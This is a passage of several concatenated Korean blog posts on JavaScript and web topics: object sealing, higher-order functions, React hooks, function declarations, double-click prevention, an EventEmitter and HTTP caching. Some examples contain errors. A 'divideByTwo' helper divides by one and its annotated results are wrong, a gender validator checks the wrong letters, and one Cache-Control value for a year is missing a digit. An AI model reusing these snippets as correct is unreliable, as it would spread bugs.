sealedObj.x = 100 // 100 으로 변경된다.
sealedObj.z.c = 300 // 가능.
sealedObj.a = 100 // 이건 안됨
delete sealedObj.x // 불가능
```

## Object.preventExtensions()

전달 받은 객체를 더 이상 확장이 불가능한 상태로 만든다. 더 이상 새 속성을 추가할 수가 없다. 상위 집합 객체에서 기능을 상속한다.

```javascript
let obj = {
  x: 1,
  y: 2,
  z: {
    a: 1,
    b: 2,
  },
}

Object.preventExtensions(obj)
obj.x = 100 // 100 으로 변경된다.
obj.z.c = 3 // 가능
delete obj.z // 가능. 왜냐면 확장만 막기 때문.
```

갑자기 이 글을 쓴 이유는 https://v8.dev/blog/react-cliff 이것 때문이다. 다음에 계속 🤔

---

Source: https://yceffort.kr/2020/10/higher-order-function.md
Title: higher order function, 고차함수
Description: 자바스크립트 고차 함수
Date: 2020-10-26
Tags: javascript

## 정의

고차 함수는 함수를 argument로 받아서 함수를 리턴하는 함수를 말한다.

## 예제

### 함수를 argument로 받는 함수

홀수 인지 확인하는 고차함수를 아래와 같이 만들어 보자.

```javascript
function isOdd(num, fn) {
  return fn(num) % 2 === 1
}
```

`fn`이라는 argument로 함수를 받고 있고, 그에 대한 결과를 리턴하고 있다. 위 함수는 아래와 같은 형태로 사용 가능하다.

```javascript
function divideByTwo(num) {
  return num / 1
}

isOdd(10, divideByTwo) // true

isOdd(11, divideByTwo) // false
```

### 함수를 리턴하는 함수

```javascript
function add(num1) {
  return function (num2) {
    return num1 + num2
  }
}
```

```javascript
add(1)(2) // 3

const num = add(1) // 1만 담고 있는 함수를 리턴
num(2) // 을 위해서 호출해서 2를 더함 3
```

## 좀 더 실용적인 예제

가장 일반적인 예제로는 object validator가 있다. 해당 object가 유효한지를 확인하는 것인데, 회원가입의 그것과도 비슷하다.

예를 들어 아래와 같은 객체가 있다고 가정해보자.

```javascript
const user = {
  age: 18,
  password: 'qhdks1234!@#$',
  gender: 'F',
  agreed: true,
}
```

- `age`는 18세 이상이어야 한다.
- `password`는 10자리 이상이여야 한다.
- `gender`는 `F` 또는 `M`이여야 한다.
- `agreed`는 true 여야 한다.

위 요구 사항을 각각 함수로 만들어 보자.

```javascript
function validAge(user) {
  return user.age >= 18
}

function validPassword(user) {
  return user.password.length >= 10
}

function agreed(user) {
  return user.agreed
}

function validGender(user) {
  console.log(user.gender, ['T', 'F'].includes(user.gender))
  return ['T', 'F'].includes(user.gender)
}
```

그리고 `isValid`라고 불리우는 고차함수를 만들어야 한다. 첫번째 객체로는 user를 받을 것이며, 그 이후에는 n개의 유효성 체크를 하는 함수를 받아서 이를 확인할 것이다.

```javascript
function isValid(user, ...validators) {
  for (const validator of validators) {
    if (!validator(user)) return false
  }
  return true
}
```

테스트를 한번 해보자.

```javascript
const user1 = {
  age: 18,
  password: 'qhdks1234!@#$',
  gender: 'F',
  agreed: true,
}

isValid(user, validAge, validPassword, agreed, validGender) // true
```

```javascript
const user2 = {
  age: 12,
  password: 'qhdks1234!@#$',
  gender: 'F',
  agreed: true,
}

isValid(user2, validAge, validPassword, agreed, validGender) // false
```

```javascript
const user3 = {
  age: 20,
  password: 'qhdks1234!@#$',
  gender: 'G',
  agreed: true,
}

isValid(user3, validAge, validPassword, agreed, validGender) // false
```

## validator 만들기

`user` 외에도 여러 종류의 validator를 만든다면, 이것 또한 고차함수르르 만들어서 해결이 가능하다.

```javascript
function createValidator(...validators) {
  return function (obj) {
    for (const validator of validators) {
      if (!validator(obj)) return false
    }
    return true
  }
}
```

```javascript
const userValidator = createValidator(
  validAge,
  validPassword,
  validGender,
  agreed,
)

userValidator(user1) // true
userValidator(user2) // false
userValidator(user3) //  false
```

---

Source: https://yceffort.kr/2020/10/why-use-component-will-mount.md
Title: useComponentWillMount??
Description: 라이프 사이클의 굴레에서 벗어나
Date: 2020-10-23
Tags: react

```javascript
useEffect(() => {
  //.. do something
}, []) // empty deps
```

이렇게 의존성이 비어있는 `useEffect`가 `componentDidMount`와 비슷한 타이밍에 동작하는 것이 아니라는 사실은 이런저런 블로그 글에 많이 나와있다. (사실 가장 비슷한건 `useLayoutEffect`다.)

> [] 는 이펙트에 리액트 데이터 흐름에 관여하는 어떠한 값도 사용하지 않겠다는 뜻입니다. 그래서 한 번 적용되어도 안전하다는 뜻이기도 합니다.

https://iqkui.com/ko/a-complete-guide-to-useeffect/

https://yceffort.kr/2020/10/think-about-useEffect

그러나 여전히 많은 사람들이 (나를 포함해서) 라이프 사이클 메소드의 향기에서 벗어나지 못하고 있는 것 같다.

## componentWillMount

https://ko.reactjs.org/docs/react-component.html#unsafe_componentwillmount

`componentWillMount`는 말그대로 컴포넌트가 마운트 되기 직전에 실행되는 라이프 사이클 메소드다. 그러나 이름에서 보이는 것 처럼, deprecated 가 되었고, 얼마전에 나오는 v17에서는 완전히 사라졌다.

https://reactjs.org/blog/2018/03/29/react-v-16-3.html#component-lifecycle-changes

> For example, with the current API, it is too easy to block the initial render with non-essential logic. In part this is because there are too many ways to accomplish a given task, and it can be unclear which is best. We’ve observed that the interrupting behavior of error handling is often not taken into consideration and can result in memory leaks (something that will also impact the upcoming async rendering mode). The current class component API also complicates other efforts, like our work on prototyping a React compiler.

이유인 즉, 렌더링에 필요하지 않은 로직을 렌더링 직전에 (==`componentWillMount`) 넣어서 렌더링을 방해하는 경우가 많아졌다는 것이다. 그리고 이러한 동작은 메모리 유출을 낳는 경우가 많기 때문에 지원을 중단했다고 밝혔다.

그러나 아직까지도 많은 리액트 라이브러리들이 `componentWillMount`에 의존하고 있다.

## useComponentWillMount

근데 그럼에도 불구하고 정말 정말 mount가 되기 직전에 무언가를 해야한다면, 근데 쓰고 있는 컴포넌트가 함수형이라고 한다면 어떻게 해야할까?

```javascript
export const useComponentWillMount = (func) => {
  const willMount = useRef(true)
  if (willMount.current) func()
  willMount.current = false
}
```

`useRef`는 매번 렌더링할 때 동일한 ref객체를 제공한다. 따라서 func가 딱한번 실행되도록 보장할 수 있다. 그렇다면 이것이 mount되기 직전에 실행된다고 볼 수 있는 이유는 무엇일까?

`useEffect`는 말그대로 부수효과를 발생시키는 hook이기 때문에 렌더링이 된 이후에 실행된다.

그러나 `useRef` 코드에서 함수가 넘어오게 되면, (함수가 호출되는 시점에) 딱 한번 바로 실행할 수 있게 된다. 그리고 이 값은 또한 컴포넌트의 전체 라이프 사이클 내에서 계속해서 유지되는 것을 리액트에서 보장해준다.

> 이 기능은 클래스에서 인스턴스 필드를 사용하는 방법과 유사한 어떤 가변값을 유지하는 데에 편리합니다.

> useRef는 매번 렌더링을 할 때 동일한 ref 객체를 제공한다는 것입니다.

또 재밌는 방법은 이것이었다.

```javascript
export const useComponentWillMount = (func) => {
  useMemo(func, [])
}
```

의존성이 없는 `useMemo`를 쓰게 되면, 함수가 다시 호출 될 일이 없으므로 렌더링 직전에 실행되는 것을 보장할 수 있다.

참고: https://stackoverflow.com/questions/53464595/how-to-use-componentwillmount-in-react-hooks

---

Source: https://yceffort.kr/2020/10/6-different-ways-to-declare-javascript-function.md
Title: 자바스크립트 함수를 선언하는 여섯가지 방법
Description: 거의 모든 것이라고 했지만 사실 그렇진 않음 어그로임
Date: 2020-10-22
Tags: javascript

## Table of Contents

## 자바스크립트의 함수는 일급 객체다

일급객체의 정의는 다음과 같다.

1. 모든 요소는 함수의 실제 매개변수가 될 수 있다.
2. 모든 요소는 함수의 반환 값이 될 수 있다.
3. 모든 요소는 할당 명령문의 대상이 될 수 있다.
4. 모든 요소는 동일 비교의 대상이 될 수 있다.

자바스크립트에서 함수는, 다음 모두를 충족 시키므로 일급 객체라고 볼 수 있다.

## 함수를 선언하는 6가지 방법

### 1. named function declaration (명명 함수 선언)

```javascript
function hello() {
  // ...
}
```

가장 대중적인 방법이다. 함수의 이름이 `hello`가 된다. 이미 여러차례 싸질러 놨듯, 호이스팅 되기 때문에 이 함수는 어느 스코프에서든 호출 할 수 있는 함수가 된다.

### 2. anonymous function expression (익명 함수 표현)

```javascript
var hello = function () {
  //...
}
```

이름이 없는 함수를 변수에 담은 방식이다. 이름이 없는 함수긴 한데, 자바스크립트 엔진이 이름을 변수명으로 추정하여 넣는다.

```javascript
var hello = function () {
  //...
}

hello.name

//  > "hello"
hello

// > ƒ () {
//   //...
// }
```

변수 할당은 호이스팅 되지 않으므로, 할당 된 이후에만 실행 가능하다.

### 3. named function expression (명명 함수 표현)

```javascript
var hello = function originalName() {
  // ...
}
```

2와 거의 동일하다. 다른 점은 함수 이름이 명확하게 선언되어 있으므로 JS 엔진에 의해 추론되지 않는 다는 것이다.

### 4. Immediately-invoked expression (즉시 실행 표현)

```javascript
var hello = (function () {
  //...
})()
```

즉시 실행 함수로, 클로져를 활용할 수 있다. 내부 함수는 변수나 다른 함수등을 쓸 수 있지만,이 함수 밖에서는 완전히 캡슐화되어 접근 할 수 없다. 가장 흔해 빠진 예제 중 하나로는 카운터가 있다.

```javascript
var myCounter = (function (initialValue = 0) {
  let count = initialValue
  return function () {
    count++
    return count
  }
})(1)

myCounter() // 2
myCounter() // 3
myCounter() // 4
```

외부 함수에서 넘겨준 1을 가지고, 내부에서 처리를 하여 리턴하고 있다.

### 5. function constructor

```javascript
var hello = new Function()
```

아마도 이런식으로 함수를 쓸일은 거의 없을 것이다.

```javascript
const adder = new Function('a', 'b', 'return a + b')
adder(2, 6)
// 8
```

이는 `eval()`을 사용하는 것과 같기 때문에 굉장히 위험하다. 그리고 이 생성자는 전역 범위로 한정된 함수만 생성할 수 있다.

### 6. arrow function (화살표 함수)

```javascript
var hello = () => {
  //...
}
```

그리고 요즘들어 많이 쓰이고 있는 화살표 함수다. 몇가지 다른게 있다면

- `constructor`로 쓰일 수 없다.
- `prototype`을 가지고 있지 않는다.
- `yield` 키워드를 허용하지 않으므로 generator를 쓸 수 없다.
- `this`도 다르다.

#### 리턴

```javascript
const f1 = (x, y, z) => x + y + z

const f2 = (x, y, z) => {
  return x + y + z
}
```

위 `f1` `f2`는 값이 같다. object를 바로 리턴하려면 괄호를 씌우면 된다.

```javascript
const f3 = (x, y, z) => ({x, y, z})
```

## this

근데 이 얘기는 내가 너무 많이 떠든거 같다. https://yceffort.kr/2020/05/difference-between-function-and-arrow#1-this%EC%99%80-arguments%EC%9D%98-%EC%B0%A8%EC%9D%B4

---

Source: https://yceffort.kr/2020/10/prevent-double-click-on-button.md
Title: (함수형으로) 자바스크립트로 HTML 버튼 중복 클릭 방지하기
Description: 어렸을 때 내가 어떻게 했더라?
Date: 2020-10-22
Tags: javascript, frontend

버튼 중복 클릭을 방지하는 것은 중요하다. 물론 기본적인 중복 방지에 대한 처리는 서버에 되어 있어야 하지만, 그렇다고 마냥 프론트엔드에서 손놓고 있을 수는 없는 일이다.

주니어 풀스택 개발자일때, 중복 클릭에 대해서 프론트엔드에서 부단히도 막아보려고 노력했지만, 사용자들은 갖가지 방법으로 여러번 클릭을 했고, 그 때마다 사용자들은 더욱 더 빠른 속도로 (혹은 창의적인 방법으로) 중복클릭을 해서 괴롭히곤 했다. 결국 어느정도 감내하고 (?) 서버에서 막는 방향으로 가긴했지만 - 그 때 마다 더 좋은 방법이 없을까 고민하곤 했다. 그 때 나왔던 다양한 중복 클릭 방지 방법을 이야기 해보고, 문제점은 무엇이었으며, 이를 해결할 수 있는 최선의 코드를, 함수형으로 써보면 어떻게 되는지 알아보장

## 방법 1) 글로벌 플래그 사용하기

```javascript
let clicked = false

function payment() {
  if (!clicked) {
    clicked = true
    window.alert('결제가 진행 중입니다.')
    // 결제 프로세스..
  }
}
```

이 방법도 물론 작동은 하겠지만 몇가지 문제가 있다.

- 전역 변수를 선언하는 것은 위험하다. 전역변수는 누구든 접근 가능하기 때문에, 자신이 알지도 못하는 새에 값이 변경될 수 있다.
- 사용자가 다시 버튼을 누를 수 있는 상황에 대비하여 해당 변수를 다시 초기화 하는 코드를 어딘가에도 넣어야 한다.
- 외부 변수에 의존하기 때문에 테스트 하기가 곤란하다.

## 방법 2) 핸들러를 날려 버리기 (혹은 변경하기)

```javascript
function payment() {
  document.getElementById('payment').onclick = null
  window.alert('결제가 진행 중입니다.')
  // 결제 프로세스..
}
```

이 방법도 일단은 작동하겠지만 문제가 존재한다.

- DOM의 버튼과 매우 강하게 연결 되어 있는 코드 이기 때문에, 재사용이 불가능하다.
- 위 예제와 마찬가지로 다시 버튼 클릭할 수 있는 상황에 대비하여 초기화하는 코드가 필요하다.
- DOM 요소가 있어야만 테스트가 가능하다.

## 방법 3) 버튼을 disable 처리하기

```javascript
function payment() {
  document.getElementById('payment').setAttribute('disabled', 'true')
  window.alert('결제가 진행 중입니다.')
  // 결제 프로세스..
}
```

역시 위와 마찬가지 이슈가 있다.

## 방법 4) 지역 변수 사용하기

```javascript
var payment = ((clicked) => {
  return () => {
    if (!clicked) {
      clicked = true
      window.alert('결제가 진행 중입니다.')
      // 결제 프로세스..
    }
  }
})(false)
```

이번에는 즉시실행함수를 사용하였다. 이는 함수형 접근법이기도 하고, `clicked`를 외부에서 접근할 수 없기도 하다. 1번의 예제에서 전역변수로 되어 있던 것을 지역변수로 바꾸고, 스코프를 잠궈서 접근하지 못하게 했다고 생각하면 된다. 이 코드의 단점은 한번만 클릭이 필요한 모든 함수에 대해서 이와 같이 똑같이 작업을 해야한다는 것이다.

## (아마도) 최선의 방법

- 단 한번만 호출해야 하는 원래 함수는 원래 작업 (결제) 이외의 작업을 해서는 안된다.
- 원본 함수를 수정해서는 안된다.
- 원본 함수를 한번만 호출하는 새로운 함수가 필요하다.
- 기존 기능에 적용할 수 있는 일반적인 솔루션이 필요하다.

여기에 필요한 것이 바로 고차함수 (higher-order function) 이다.

```javascript
const doOnce = (fn) => {
  let done = false
  return (...args) => {
    if (!done) {
      done = true
      fn(...args)
    }
  }
}
```

```typescript
const doOnceTypescript = (fn: Function) => {
  let done = false
  return (...args: any) => {
    if (!done) {
      done = true
      fn(...args)
    }
  }
}
```

이를 적용하면 아래와 같은 모습일 것이다.

```html
<button id="payment" onclick="doOnce(payment)()">결제하기</button>
```

---

Source: https://yceffort.kr/2020/10/implement-event-emitter.md
Title: EventEmitter 구현해보기
Description: 면접 때 잘 대답 못했던 질문 22222
Date: 2020-10-21
Tags: javascript, design-patterns

가령 아래와 같은

```javascript
const button = document.querySelector("button");
button.addEventListener("click", (event) => /* do something with the event */)
```

이 코드에서, 버튼 클릭에 대해서 리스너를 달았다. 이 뜻은 이벤트가 발생하는 것 (emitted를 발생하다라고 의역했다.) 에 대해서 구독을 했다는 것이고, 그러한 이벤트가 발생할 경우 콜백을 실행하겠다는 것을 의미한다. 버튼을 클릭할 때 마다, 이벤트가 발생하게 되고 해당 이벤트와 함께 콜백이 실행된다.

기존 코드베이스에서 작업 할 때, 커스텀 이벤트를 발생시키고 싶을 때가 있다. 버튼 클릭과 같은 DOM 이벤트 말고, 다른 트리거를 기반으로 이벤트를 내보내고 응답하도록 한다고 가정해보자. 이를 위해서는 커스텀 EventEmitter가 필요하다.

EventEmitter란 정의된 이벤트를 수신하고, 콜백을 실행한다음, 값과 함께 해당 이벤트를 내보내는 패턴이다. 이를 `pub, sub` 모델, 혹은 리스너라고 부르기도 한다.

```javascript
let n = 0
const event = new EventEmitter()
event.subscribe('THUNDER_ON_THE_MOUNTAIN', (value) => (n = value))
event.emit('THUNDER_ON_THE_MOUNTAIN', 18)
// n: 18
event.emit('THUNDER_ON_THE_MOUNTAIN', 5)
// n: 5
```

위 예제에서는 `THUNDER_ON_THE_MOUNTAIN`라고불리는 이벤트를 구독하였고, 이 이벤트가 발생할 때 마다 콜백 `(value) => (n = value)`를 실행하였다.이 이벤트를 실행하기 위하여, `.emit()`을 사용하였다.

이는 비동기 코드로 작업 할 때 유용하다. 그리고 현재 모듈과 다른 위치에서 값을 업데이트 해야 한다. (값을 업데이트 할 수 있는 스코프가 되어야 한다.)

이에 대한 적절한 예가 Redux다. Redux는 내부 저장소가 업데이트 된 것을 외부에 공유해 줄 수 있는 방법이 필요하다. 그래야 리액트가 해당 값이 변경되었다는 것을 인지하고 `setState()`를 호출하여 다시 렌더링을 할 수 있다. 이러한 일련의 과정이 `EventEmitter`를 통해 이루어진다. Redux에는 subscribe 함수가 존재하며, 이는 새로운 값을 받을 때 마다 실행되는 콜백을 함수로 받는다. 이를 Redux `<Provider />` 컴포넌트라고 하며, 새로운 값을 받을 때 마다 `setState()`를 호출한다.

## Implementation

위 EventEmitter는 Nodejs에만 존재한다. 한번 실재로 이를 구현해보도록 하자.

```typescript
class EventEmitter {
  public events: Events
  constructor(events?: Events) {
    this.events = events || {}
  }
}
```

### Events

Events 인터페이스를 정의해보자.

```typescript
interface Events {
  [key: string]: Function[]
}

/**
{
  "event": [fn],
  "event_two": [fn]
}
*/
```

### Subscribe

먼저 정의된 이벤트를 구독할 방법이 필요하다.

```typescript
event.subscribe('named event', (value) => value)
```

두개의 파라미터 (이벤트 명, 콜백)을 받을 수 있도록 구현해보자.

```typescript
class EventEmitter {
  public events: Events
  constructor(events?: Events) {
    this.events = events || {}
  }

  public subscribe(name: string, cb: Function) {
    ;(this.events[name] || (this.events[name] = [])).push(cb)
  }
}
```

### Emit

다음으로, `emit`을 활용해서 이벤트를 발생시키는 코드를 구현해야 한다. 파라미터는 몇개가 있을지 모르므로, 유연하게 대처해야 한다.

```typescript
class EventEmitter {
  public events: Events
  constructor(events?: Events) {
    this.events = events || {}
  }

  public subscribe(name: string, cb: Function) {
    ;(this.events[name] || (this.events[name] = [])).push(cb)
  }

  public emit(name: string, ...args: any[]): void {
    ;(this.events[name] || []).forEach((fn) => fn(...args))
  }
}
```

### Unsubscribing

이제는 이벤트 구독을 해제 해보자.

```javascript
subscribe(name: string, cb: Function) {
  (this.events[name] || (this.events[name] = [])).push(cb);

  return {
    unsubscribe: () =>
      this.events[name] && this.events[name].splice(this.events[name].indexOf(cb) >>> 0, 1)
  };
}
```

이제 `subscribe`에서 `unsubscribe`를 리턴한다. 화살표 함수를 활용하여 부모 스코프와 같은 스코프를 사용할 수 있도록 했다. 이 함수에서, 부모에게 전달한 콜백의 인덱스를 찾고자 bitwise operator (`>>>`) 를 사용했다.

이제 아래와 같이 이벤트 구독을 해제 할 수 있다.

```javascript
const subscription = event.subscribe('event', (value) => value)

subscription.unsubscribe()
```

## 결론

```typescript
interface Events {
  [key: string]: Function[]
}

export class EventEmitter {
  public events: Events
  constructor(events?: Events) {
    this.events = events || {}
  }

  public subscribe(name: string, cb: Function) {
    ;(this.events[name] || (this.events[name] = [])).push(cb)

    return {
      unsubscribe: () =>
        this.events[name] &&
        this.events[name].splice(this.events[name].indexOf(cb) >>> 0, 1),
    }
  }

  public emit(name: string, ...args: any[]): void {
    ;(this.events[name] || []).forEach((fn) => fn(...args))
  }
}
```

출처: https://css-tricks.com/understanding-event-emitters/

---

Source: https://yceffort.kr/2020/10/http-cache.md
Title: HTTP Cache로 불필요한 네트워크 요청 줄이기
Description: HTTP Cache에 대한 이해
Date: 2020-10-20
Tags: web-performance, browser

네트워크를 통해서 리소트를 가져오는 것은 느리고 비싸다.

- 리소스가 많아지면 서버와 브라우저 사이에서 라운드트립이 잦아진다.
- 중요 리소스가 다운로드 될 때 까지 페이지가 로딩되지 않는다.
- 만약 누군가 모바일로 제한된 데이터로 접근하려 할 경우, 불필요한 리소스 호출은 그들에게 돈장비로 이어진다.

이러한 불필요한 네트워크 요청을 줄이는 가장 좋은 방법은 HTTP Cache다.

## 브라우저 호환성

HTTP Cache라고 불리우는 하나의 API가 존재하는 것은 아니다. 보통 HTTP Cache라고 한다면, 아래와 같은 것들을 의미한다.

- [Cache-control](https://developer.mozilla.org/docs/Web/HTTP/Headers/Cache-Control#Browser_compatibility)
- [Etag](https://developer.mozilla.org/docs/Web/HTTP/Headers/ETag#Browser_compatibility)
- [Last-modified](https://developer.mozilla.org/docs/Web/HTTP/Headers/Last-Modified#Browser_compatibility)

위 기술들은 모든 브라우저에서 작동한다.

## HTTP Cache는 어떻게 작동하는가?

브라우저가 시도하는 모든 HTTP 요청은 먼저 브라우저 캐시로 라우팅되어, 요청을 수행하는데 사용할 수 있는 유효한 캐시가 있는지를 먼저 확인한다. 만약 유효한 캐시가 있으면, 이 캐시를 읽어서 불필요한 전송으로 인해 발생하는 네트워크 대기시간, 데이터 비용을 모두 상쇄한다.

HTTP 캐시의 동작은 [request header](https://developer.mozilla.org/en-US/docs/Glossary/Request_header)와 [response header](https://developer.mozilla.org/en-US/docs/Glossary/Response_header) 의 조합으로 제어된다. 이상적인 시나리오에서는 웹 어플리케이션의 코드(requset header)와 웹서버의 구성(response header) 모두를 제어할 수 있다.

https://developer.mozilla.org/ko/docs/Web/HTTP/Caching

## Request Header: 일반적으로 기본값을 유지

웹 애플리케이션의 request 요청에 포함되어야 하는 중요한 헤더들이 많지만, 브라우저는 요청을 할 때 거의 항상 사용자를 대신에 헤더를 생성한다. [If-None-Match](https://developer.mozilla.org/docs/Web/HTTP/Headers/If-None-Match), [If-Modified-Since](https://developer.mozilla.org/docs/Web/HTTP/Headers/If-Modified-Since) 와 같이 캐시의 신선도(?)를 확인하는 요청 헤더의 경우에는, 브라우저가 현재 값을 기준으로 요청을 날리게 된다.

이는 개발자에게는 희소식이다. 단순히 HTML에서 `<img src="my-image.png" />` 만 쓰더라도, 브라우저는 알아서 캐시에 필요한 요청을 날려준다.

> 물론 fetch의 헤더를 직접 작성하여 cache를 커스터마이징 할 수 있다.

## Response Header: 웹 서버 설정 변경

- [Cache-control](https://developer.mozilla.org/docs/Web/HTTP/Headers/Cache-Control#Browser_compatibility): 서버는 직접적으로 `Cache-Control`의 값을 리턴해서 어떻게, 그리고 얼마나 캐시할지를 직접적으로 개별 요청에 대해서 지시를 내릴 수 있다.
- [Etag](https://developer.mozilla.org/docs/Web/HTTP/Headers/ETag#Browser_compatibility): 만약 브라우저가 만료된 캐시 응답을 찾을 경우, 작은 토큰(일반적으로 파일 컨텐츠의 해쉬)를 서버로 보내서 파일이 변경되었는지를 확인할 수 있다. 만약 서버가 같은 토큰을 리턴한다면 파일이 변경되지 않았다는 뜻이므로, 다시 다운로드 할 필요가 없다.
- [Last-modified](https://developer.mozilla.org/docs/Web/HTTP/Headers/Last-Modified#Browser_compatibility): `Etag`와 같은 목적으로 만들어졌으며, 여기서는 대신에 시간을 기준으로 판단하게 된다.

일부 웹서버에는 기본적으로 이러한 헤더를 설정하는 기능이 내장되어 있으며, 다른 웹서버의 경우에는 명시적으로 구성하지 않으면 헤더를 완전히 제어 한다.

설령 `Cache-Control`의 값을 그대로 두어도 Http 캐싱이 비활성화되지 않는다. 대신 브라우저는 특정 유형의 컨텐츠에 가장 적합한 캐싱 동작 유형을 알아서 추측한다. 이를 [Heuristic Freshness](https://www.mnot.net/blog/2017/03/16/browser-caching#heuristic-freshness)라 한다.

## 어떤 Response Header를 사용해야 할까?

### 버전별 URL을 활용한 장기간 캐싱

만약 CSS 파일의 캐싱을 1년으로 설정해두었다고 해보자. 만약 디자이너가 방금 무언가를 고쳐서 다시 업데이트 해야하는 상황이라면? 어떻게 브라우저에게 업데이트 하라고 알려줄 것인가? URL자체를 바꾸지 않는 한 이는 불가능하다. 브라우저가 응답을 캐싱해버린 이상, `max-age`나 `expires`로 결정하거나, 사용자가 캐시를 날리지 않는 한 계속해서 남아있게 된다. 결과적으로, 새로 들어온 사용자와 기존 사용자가 다른 페이지를 보는 꼴이 되어 버린다. 이러한 경우를 방지하기 위해, 파일명에 버전명을 두는 방법을 사용한다.

만약 요청 URL에 특별한 지문이 있거나 버전 관리 정보를 포함하고, 데이터가 결코 변경될 일이 없다면 `Cache-Control: max-age=3153600` (1년) 을 응답에 추가한다.

이는 브라우저에 1년이 지나지 않는 한 (1년이 최대 값이다) 같은 URL에 대해서는 즉시 네트워크 요청없이 캐싱된 응답을 리턴하게 된다. [웹팩을 활용하여](https://webpack.js.org/guides/caching/#output-filenames)이러한 과정을 자동화 할 수 있다.

> `immutable`을 지정하여 절대로 바뀌지 않는 다는 것을 명시할 수도 있지만, 아쉽게도 모든 브라우저에서 작동하지는 않는다.

### 버전 없는 URL에 대해 서버에서 재검증

안타깝게도 모든 URL의 버전이 관리되는 것이 아니다. 예를 들어 www.naver.com/pay.html 에 대해서 URL 버저닝을 한다면 www.naver.com/pay.1cde52.html이 될텐데, 이렇게 하게되면 ...

HTTP 캐싱 만으로는 네트워크 요청을 피해가면서 캐싱하기에는 부족하다. 하지만 네트워크 요청을 가장 빠르고 최소화하여 캐싱할 수 있는 방법이 몇가지 있다.

아래의 `Cache-Control` 값은 버저닝 되지 않는 URL에 대한 최적화를 진행할 수 있다.

- `no-cache`. 이는 캐시된 버전의 URL을 사용하기 전에 서버에서 재검증을 해야 함을 브라우저에 지시할 수 있다.
- `no-store`. 브라우저 및 기타 중간 과정의 캐시 (`CDN` 같이)가 파일의 어떤 버전도 저장하지 않도록 지시한다.
- `private` 브라우저는 파일을 캐시할 수 있지만 중간 캐시를 할 수 없다.
- `public` 모든 응답이 캐시에 저장할 수 있다.

![cache-control flowchart](https://webdev.imgix.net/http-cache/flowchart.png)

### ETag

`ETag`나 `Last-Modified`를 사용하면, 조금더 재검증을 효과적으로 할 수 있다. 이들은 결국 요청 헤더에서 언급했던 `If-Modified-SInce`, `If-None-Match`를 트리거 하게 된다.

적절하게 구성된 웹서버가 이러한 요청 해더를 보게 되면, 브라우저가 이미 HTTP 캐시에 있는 리소스의 버전이 웹서버의 최신 버전과 일치하는지 확인 할 수 있다. 일치하는 항목이 있으면 서버는 304 not modified로 응답할 수 있다. 이는 '그냥 갖고 있는 것을 써라' 와 같다. 이러한 유형의 응답을 주고 받게 되면 실제 원본 데이터를 보내는 것 보다 데이터의 양을 확연히 줄일 수 있다.

![304](https://webdev.imgix.net/http-cache/http-cache.png)

## 요약

HTTP 캐시는 불필요한 네트워크 요청을 줄이기 때문에 웹페이지 로딩 성능을 향상 시킬 수 있는 좋은 방법이다.

## 더 많은 팁

- 일관된 URL을 사용하라. 다른 URL에서 동일한 콘텐츠를 제공하는 경우 해당 콘텐츠를 여러번 가져와서 저장한다.
- 리소스의 일부가 자주 업데이트되고, 나머지 파일은 업데이트가 잘 안되는 경우, 각각 파일을 나눠 캐시 전략을 따로 가져가는 것이 좋다.

## 예제

#### 1. Immutable content + Long max-age

```bash
Cache-Control: max-age=31536000
```

- 이 URL의 컨텐츠는 절대 변할일이 없다
- 따라서 브라우저/CDN은 이 리소스를 1년 간 캐싱해둘 것이다
- `max-age` 를 넘지 않는 리소스에 대해서 서버에 따로 요청하지 않고도 쓸 수 있다.

변경이 필요하면 URL의 컨텐츠를 바꾸는게 아니고 URL 자체를 바꿔야 한다.

일반적인 웹 서버들은 이 기능을 손쉽게 사용할 수 있도록 기능을 제공한다.

그러나 이러한 패턴을 아티클이나 블로그 포스트에 쓰면 안된다. URL은 버저닝 될 수 없지만, 컨텐츠는 변할 가능성이 존재하기 때문이다.

### 2. Mutable content, always server-revalidated

```bash
Cache-Control: no-cache
```

- 이 URL의 컨텐츠는 변동 가능성이 있다.
- 따라서 로컬에 캐시되어 있는 정보는 믿을 수 없어서, 서버에 요청을 해봐야 한다.

`no-cache`는 캐시를 안한다는 뜻이 아니다. 이는 캐시된 리소스를 사용하기전에 서버의 체크를 거쳐야 한다는 것이다. `no-store`는 브라우저가 캐시를 저장하지 않는 다는 것이다. 마찬가지로, `must-revalidate` 또한 무조건 재검증을 한다는 것이 아니다. `max-age`에 아직 도달하지 않았다면 로컬 리소스를 사용하고, 그렇지 않다면 재검증을 한다는 것이다.

이러한 경우 `ETag`나 `Last-Modified`를 응답 헤더에 추가할 수 있다. 다음에 클라이언트가 리소스를 요청할 경우, 방금 받았던 값을 `If-None-Match`나 `If-Modified-Since`에 넣어서 사용할 수 있는데, 이 경우 서버는 HTTP 304를 리턴하여, 그냥 가지고 있는 것을 쓰라고 응답할 수 있다.

`ETag`나 `Last-Modified`가 없다면, 서버는 항상 컨텐츠를 내려준다.

설명에도 나와있듯, 이 방법은 항상 네트워크 요청을 수반한다.

### 변경 가능한 content에 max-age를 세팅하는 것은 잘못된 선택일 수도 있다.

- `/article/`
- `styles.css`
- `/script.js`

가

```bash
Cache-Control: must-revalidate, max-age=600
```

로 제공된다고 가정해보자.

이는

- URL 내의 데이터가 변경될 수 있다.
- 만약 브라우저가 10분 이전의 데이터를 가지고 있다면, 서버에 요청하지 않는다.
- 그 외의 경우 네트워크 요청을 한다. `If-None-Match`나 `If-Modified-Since`를 함께 사용할 수 있다.

를 의미한다.

테스트시에는 잘 동작하는 것처럼 보일 수도 있지만, 실제 사용시에 문제를 야기할 수 있으며, 문제를 추적하기도 어렵다. 위 예제에서, 만약 CSS 만 서버에서 업데이트 되었다면, 버전 불일치가 발생하게 된다. 이 리소스들은 서로 상호 읜존적이지만 캐싱 헤더는 이를 표현할 수 있다. 사용자는 리소스 중 한두개만 새거를, 그리고 나머지는 오래된 리소스를 사용할 수 있다.

`max-age`는 응답 시간과 관련이 있으므로, 모든 리소스가 동일한 내비게이션의 일부로 요청되면 거의 동시에 만료될 수 있지만 여전히 경주의 가능성이 존재한다. 그러나 이경우, 사용자가 해결할 수 있는 방법이 있긴 한다.

- 새로고침: 페이지가 새로고침으로 다시 로드 되는 경우, 브라우저는 항상 서버에서 다시 유효성 검사를 한다. 물론 사이트가 사용자에게 이런걸 강요할 수는 없다.

그러나 그렇다고 해서 `max-age`가 항상 잘못된 것은 아니다. 페이지 별로 종속성이 존재하지 않는다면, race condition은 문제 되지 않을 수 있다.

---

Source: https://yceffort.kr/2020/10/defer-than-async.md
Title: 왜 Async 보다는 Defer를 써야할까
Description: 스크립트 실행 최적화를 위해 잘 고민해봐야 한다.
Date: 2020-10-20
Tags: web-performance, javascript

